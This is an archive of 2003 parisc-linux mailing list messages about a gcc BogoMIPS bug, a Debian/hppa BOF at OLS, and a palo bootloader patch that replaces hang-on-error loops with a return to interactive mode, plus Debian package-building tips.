dCBrZXJuZWw6IFZGUzogTW91bnRlZCByb290IChleHQzIGZpbGVzeXN0ZW0p
IHJlYWRvbmx5Lg0KTWF5IDEwIDEwOjU5OjAwIGJlYXN0IGtlcm5lbDogRnJl
ZWluZyB1bnVzZWQga2VybmVsIG1lbW9yeTogMzY1ayBmcmVlZA0KTWF5IDEw
IDEwOjU5OjAwIGJlYXN0IGtlcm5lbDogQWRkaW5nIFN3YXA6IDQ5OTcwNGsg
c3dhcC1zcGFjZSAocHJpb3JpdHkgLTEpDQpNYXkgMTAgMTA6NTk6MDAgYmVh
c3Qga2VybmVsOiBFWFQzIEZTIDIuNC0wLjkuMTcsIDEwIEphbiAyMDAyIG9u
IHNkKDgsNCksIGludGVybmFsIGpvdXJuYWwNCk1heSAxMCAxMDo1OTowMCBi
ZWFzdCBrZXJuZWw6IExhc2kgSGFybW9ueSBBdWRpbyBkcml2ZXIgVjAuOWEs
IGgvdyBpZCAyMCwgcmV2LiAyMyBhdCAweGZmZDA0MDAwLCBJUlEgODINCg==
---275789367-697751768-1054751628=:12360--


From - Thu Nov 08 21:28:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler & kernel (2)
Date: Wed, 4 Jun 2003 19:50:16 +0100 (IST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0306041938040.12360-100000@sal.ucc.ie>
References: <Pine.LNX.4.44.0306041917370.12360-300000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622497 26456 80.91.229.3 (22 Nov 2014 02:14:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  4 12:50:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id B80EF4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jun 2003 12:50:18 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h54IoHR05540;
	Wed, 4 Jun 2003 19:50:17 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <Pine.LNX.4.44.0306041917370.12360-300000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18615

Sorry for replying my own mail:


The BogoMIPS problem was in fact due to a bug in a gcc-3.3 (up to debian
prerelease 20030415). However it was already fixed in Debian prerelease
20030509.


the last mail contained two attachments:

- dmesg (the dmesg of my current -pa35 kernel, using SYM1 and 53c700 from
         2.4.19-pa2, no BogoMIPS problem) and

- dmesg2 (FIRST: the dmesg of a vanilla -pa35 kernel, using SYM2 and
          original 53c700, BogoMIPS problem.
          SECOND:
          You can see it doesn't even boot ('target is suffering from tag
          starvation' and the kernel hang) so I rebooted to 2.4.19-pa2.
          It's dmesg is also in this file.

Thanks, Max



From - Thu Nov 08 21:28:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "CARSON,KEVIN (HP-Canada,ex1)" <kevin.carson@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Contributors near Vancouver Canada?
Date: Wed, 4 Jun 2003 17:05:27 -0400
Lines: 5
Approved: news@gmane.org
Message-ID: <B9957F974955D411829400D0B74FF27A0F523C4A@xtor01.canada.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416622498 26458 80.91.229.3 (22 Nov 2014 02:14:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:58 +0000 (UTC)
To: "'PARISc-linux@lists.parisc-linux.org'" <PARISc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  4 15:05:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id E036C4829
	for <PARISc-linux@lists.parisc-linux.org>; Wed,  4 Jun 2003 15:05:31 -0600 (MDT)
Original-Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190])
	by atlrel6.hp.com (Postfix) with ESMTP id 87ABA1C01C1B
	for <PARISc-linux@lists.parisc-linux.org>; Wed,  4 Jun 2003 17:05:31 -0400 (EDT)
Original-Received: from xatlbh2.atl.hp.com (xatlbh2.atl.hp.com [15.45.89.187])
	by xatlrelay1.atl.hp.com (Postfix) with ESMTP id 786AF1C009F8
	for <PARISc-linux@lists.parisc-linux.org>; Wed,  4 Jun 2003 17:05:31 -0400 (EDT)
Original-Received: by xatlbh2.atl.hp.com with Internet Mail Service (5.5.2655.55)
	id <L5NR77R6>; Wed, 4 Jun 2003 17:05:31 -0400
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18616

Are there any people who contribute to the parisc-linux project near
Vancouver, Canada?  Like within a close drive to pick stuff up, perhaps?

Kevin


From - Thu Nov 08 21:28:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] debian/hppa bof at OLS
Date: Wed, 4 Jun 2003 17:12:39 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20030605001239.GZ16638__36075.9087991484$1416622498$gmane$org@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622498 26464 80.91.229.3 (22 Nov 2014 02:14:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, debian-ia64@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  4 18:11:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 065064829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jun 2003 18:11:02 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 4DE1FCD2F8; Wed,  4 Jun 2003 17:12:39 -0700 (PDT)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18617

Hi *,

There is going to be a Debian/hppa BOF at OLS this year:
http://www.linuxsymposium.org/2003/view_abstract.php?talk=162

This is an informal survey: if you plan to attend, please drop me 
an email and send me suggested topics *via private mail*.

My current thoughts is to do a short presentation on what the
debian/hppa port is about, and open the floor to discussions on topics
of interest (e.g. toolchain, 64-bit userspace, SMP kernels, what have
you...). Other suggestions are welcome as well. I will post an updated
proposal once I've collected more info. Personally I think other Debian/
porting issues will also be interesting for the BOF, but we'll see how
it goes.

Oh, and if you are attending OLS, don't forget about the keysigning!
http://www.linuxsymposium.org/2003/view_abstract.php?talk=170

thanks,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

p.s. why is this crossposted to the ia64 list? well, just because. :-)


From - Thu Nov 08 21:28:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Thu, 5 Jun 2003 13:59:48 +0200
Lines: 166
Approved: news@gmane.org
Message-ID: <3ED4C8B600002734@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622498 26468 80.91.229.3 (22 Nov 2014 02:14:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:58 +0000 (UTC)
Cc: "Grant Grundler" <grundler@parisc-linux.org>,
	"Helge Deller" <deller@gmx.de>
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  5 06:00:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (unknown [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 063764829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jun 2003 06:00:01 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19NtOU-00041C-00; Thu, 05 Jun 2003 13:58:58 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 5 Jun 2003 13:59:48 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18618

Hi Bjoern,

> On Mon, 2 Jun 2003, Bjoern A. Zeeb wrote:
>
> Hi,
>
> > g) here is the patch. Thanks I remember basic for the goto ;-)

Simple and efficent;

> > peherhaps ignore the part with the version number ...
>
> well please - before commiting - verifiy ... I t
ink there is a
> problem maybe with some pointer ... Will have to verify all possible
> paths ... going to re-check and let you know.
>
> --- cut ---
> /boot/vmlinux-2.5.69-pa1 74 00L 1X c 1Q root=/dev/sdb3 HOME=/ TERM=linux
conso0
>  0: 3/boot/vmlinux-2.5.69-pa1
>  1: 74
>  2: 00L
>  3: 1X
>  4: c
>  5: 1Q
>  6: root=/dev/sdb3
>  7: HOME=/
>  8: TERM=linux
>  9: console=ttyS0
>
> Edit which field?
> (or 'b' to boot with this command line)?
> --- cut ---

Hmm how may I reproduce?


btw (as rought draft) I also consider the case if you accidently choose
swap (even on a md), here is the full patch:
=====
diff -Naur --exclude iplboot palo-1.2/debian/changelog palo-1.3/debian/changelog
--- palo-1.2/debian/changelog	2003-01-14
21:07:52.000000000 +0100
+++ palo-1.3/debian/changelog	2003-06-05 11:20:38.000000000 +0200
@@ -1,3 +1,9 @@
+palo (1.3) unstable; urgency=low
+
+  * Comeback to interact if failled to find boot kernel (Bjoern A. Zeeb)
+
+ -- Paul Bame <bame@debian.org>  Tue, 14 Jan 2003 13:06:45 -0700
+
 palo (1.2) unstable; urgency=low

   * Recognize RAID partition types (Martin K. Petersen)
diff -Naur --exclude iplboot palo-1.2/ipl/ipl.c palo-1.3/ipl/ipl.c
--- palo-1.2/ipl/ipl.c	2003-01-14 20:44:49.000000000 +0100
+++ palo-1.3/ipl/ipl.c	2003-06-05 12:56:25.000000000 +0200
@@ -367,6 +367,7 @@
 	}
     }

+interactive_loop:
     if (is_interactive)
 	interact(&f);

@@ -406,7 +407,9 @@
     {
 	printf("ERROR: Requesting kernel from partition %d "
 		    "on unpartitioned media!\n", kern_part);
-	while(1);
+
+        is_interactive = 1;
+        goto interactive_loop;
     }

     if (rd_part != -1 && rd_part != kern_part)
@@ -510,7 +513,9 @@
 	    (partition[kern_part - 1].id != 0x83 && partition[kern_part - 1].id
!= 0xfd) )
 	{
 	    printf("ERROR: Partition %d must be ext2\n", kern_part);
-	    while(1);
+
+            is_interactive = 1;
+            goto interactive_loop;
 	}

 	pp = &partition[kern_part - 1];
@@
-518,8 +523,13 @@
 	part_fd = offset_open(bootdev, 512 * pp->start, 512 * pp->length);

 	mount_fd = ext2_mount(part_fd, 0, 0);
-	if (0) printf("ext2_mount(partition %d) returns %d\n",
-	    kern_part, mount_fd);
+	if (mount_fd < 0){
+            printf("ext2_mount(partition %d) returns %d\n",
+	            kern_part, mount_fd);
+
+            is_interactive = 1;
+            goto interactive_loop;
+	}

 	kern_fd = ext2_open(kern_name);
 	if (0) printf("ext2_open(%s) = %d\n", kern_name
 kern_fd);
@@ -527,7 +537,9 @@
 	{
 	    printf("ERROR: open %s from partition %d failed\n",
 		kern_name, kern_part);
-	    while(1);
+
+            is_interactive = 1;
+            goto interactive_loop;
 	}

 	bkern_fd = byteio_open(kern_fd);
diff -Naur --exclude iplboot palo-1.2/lib/common.h palo-1.3/lib/common.h
--- palo-1.2/lib/common.h	2003-01-14 21:06:14.000000000 +0100
+++ palo-1.3/lib/common.h	2003-06-05 11:53:20.000000000 +0200
@@ -11,7 +11,7 @@
 #include <asm/byteorder.h>

 #include <linux/genhd.h>

-#define PALOVERSION "1.2"
+#define PALOVERSION "1.3"

 /* size of I/O block used in HP firmware */
 #define FW_BLOCKSIZE	2048

====

Up to you to adapt changes in changelog and lib/common.h :)

I a not an expert 
n debian building pkg but to rebuild a source tree i
follow this small recipe:
A) grab palo_1.2.dsc palo_1.2.tar.gz into your test dir
B) dpkg-source -x palo_1.2.dsc
this will extract palo-1.2
C) I rename palo-1.2 into palo-1.3 [according to chang
log revision]
D) cd palo-1.3
E) apply above patch (patch -p1 -i YourPatchFile)
E) dpkg-buildpackage [ 2>&1 | tee ../palo-1.3.bpkg # to log build messages]
on a _linux-parisc_ box it would rebuild iplboot :)

if successfull, you would find in the 
pper dir palo_1.3_hppa.deb dpkg which
you can just install.

hth,
    Joel

PS: another kind thing would be add edition line capability (any idea?)



---------------------------------
Dcouvrez les 6 cls et gagnez le Club Med  Vie avec Tiscali
http://www.tiscali.be/nl/subs/tiscali4life/default.asp?lang=fr




From - Thu Nov 08 21:28:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: R P Herrold <herrold@owlriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Contributors near Vancouver Canada?
Date: Thu, 5 Jun 2003 10:07:52 -0400 (EDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0306051007010.646-100000@swampfox.owlriver.com>
References: <B9957F974955D411829400D0B74FF27A0F523C4A@xtor01.canada.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622499 26471 80.91.229.3 (22 Nov 2014 02:14:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:59 +0000 (UTC)
Cc: PARISc-linux@lists.parisc-linux.org
To: "CARSON,KEVIN (HP-Canada,ex1)" <kevin.carson@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  5 08:07:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from swampfox.owlriver.com (swampfox.owlriver.com [206.21.107.147])
	by dsl2.external.hp.com (Postfix) with ESMTP id 503EE4829
	for <PARISc-linux@lists.parisc-linux.org>; Thu,  5 Jun 2003 08:07:58 -0600 (MDT)
Original-Received: from localhost (IDENT:szZLfu4g5n4fEDU99j7C+u0fP5A2rpGk@localhost [127.0.0.1])
	by swampfox.owlriver.com (8.11.6/8.11.6) with ESMTP id h55E7qJ07095;
	Thu, 5 Jun 2003 10:07:52 -0400
In-Reply-To: <B9957F974955D411829400D0B74FF27A0F523C4A@xtor01.canada.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18619

On Wed, 4 Jun 2003, CARSON,KEVIN (HP-Canada,ex1) wrote:

> Are there any people who contribute to the parisc-linux project near
> Vancouver, Canada?  Like within a close drive to pick stuff up, perhaps?

I have a fellow I can ask in Victoria -- close enough?

-- Russ Herrold



From - Thu Nov 08 21:28:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Thu, 5 Jun 2003 14:14:33 +0000 (UTC)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306051406370.27036@e0-0.zab2.int.zabbadoz.net>
References: <3ED4C8B600002734@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622499 26477 80.91.229.3 (22 Nov 2014 02:14:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  5 08:15:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DD3C4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jun 2003 08:15:22 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 014681FFFB8; Thu,  5 Jun 2003 16:15:09 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id D1C511FFFBE; Thu,  5 Jun 2003 16:15:07 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 6985515387; Thu,  5 Jun 2003 14:14:32 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 5F64C1537F; Thu,  5 Jun 2003 14:14:33 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <3ED4C8B600002734@ocpmta1.freegates.net>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18620

On Thu, 5 Jun 2003, Joel Soete wrote:

> > problem maybe with some pointer ... Will have to verify all possible
> > paths ... going to re-check and let you know.
> >
> > --- cut ---
> > /boot/vmlinux-2.5.69-pa1 74 00L 1X c 1Q root=/dev/sdb3 HOME=/ TERM=linux conso0
> >  0: 3/boot/vmlinux-2.5.69-pa1
> >  1: 74
> >  2: 00L
> >  3: 1X
> >  4: c
> >  5: 1Q
> >  6: root=/dev/sdb3
> >  7: HOME=/
> >  8: TERM=linux
> >  9: console=ttyS0
> >
> > Edit which field?
> > (or 'b' to boot with this command line)?
> > --- cut ---
>
> Hmm how may I reproduce?

I couldn't yet. It happened just the one time. What I did was:

1. power on apollo
2. log in to the host the serial line was attached to
3. start minicom
4. come back five minutes later (the palo.conf entry has been wrong)
5. find the above on the screen
6. delete line 1 five times
7. change path to kernel
8. boot



[dep building]

I think I am missing a package for all this here where most of the
dh_* are included ...

Me using apt-get source then debian/rules build and finally I cannot
use fakeroot at the moment (glibc issue though downgraded).

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:28:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Thu, 5 Jun 2003 15:32:35 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20030605143235.GM28581@parcelfarce.linux.theplanet.co.uk>
References: <3ED4C8B600002734@ocpmta1.freegates.net> <Pine.BSF.4.53.0306051406370.27036@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622499 26478 80.91.229.3 (22 Nov 2014 02:14:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:59 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  5 08:32:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4FF424829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jun 2003 08:32:37 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19Nvn9-000253-Lk; Thu, 05 Jun 2003 15:32:35 +0100
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.53.0306051406370.27036@e0-0.zab2.int.zabbadoz.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18621

On Thu, Jun 05, 2003 at 02:14:33PM +0000, Bjoern A. Zeeb wrote:
> I think I am missing a package for all this here where most of the
> dh_* are included ...
> 
> Me using apt-get source then debian/rules build and finally I cannot
> use fakeroot at the moment (glibc issue though downgraded).

use dpkg-buildpackage -rsudo
that'll tell you which deps are missing

or you can apt-get build-dep palo to install palo's build deps.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Thu, 5 Jun 2003 17:15:57 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <3ED4C8B600002915@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622500 26481 80.91.229.3 (22 Nov 2014 02:15:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  5 09:15:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (unknown [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 961034829
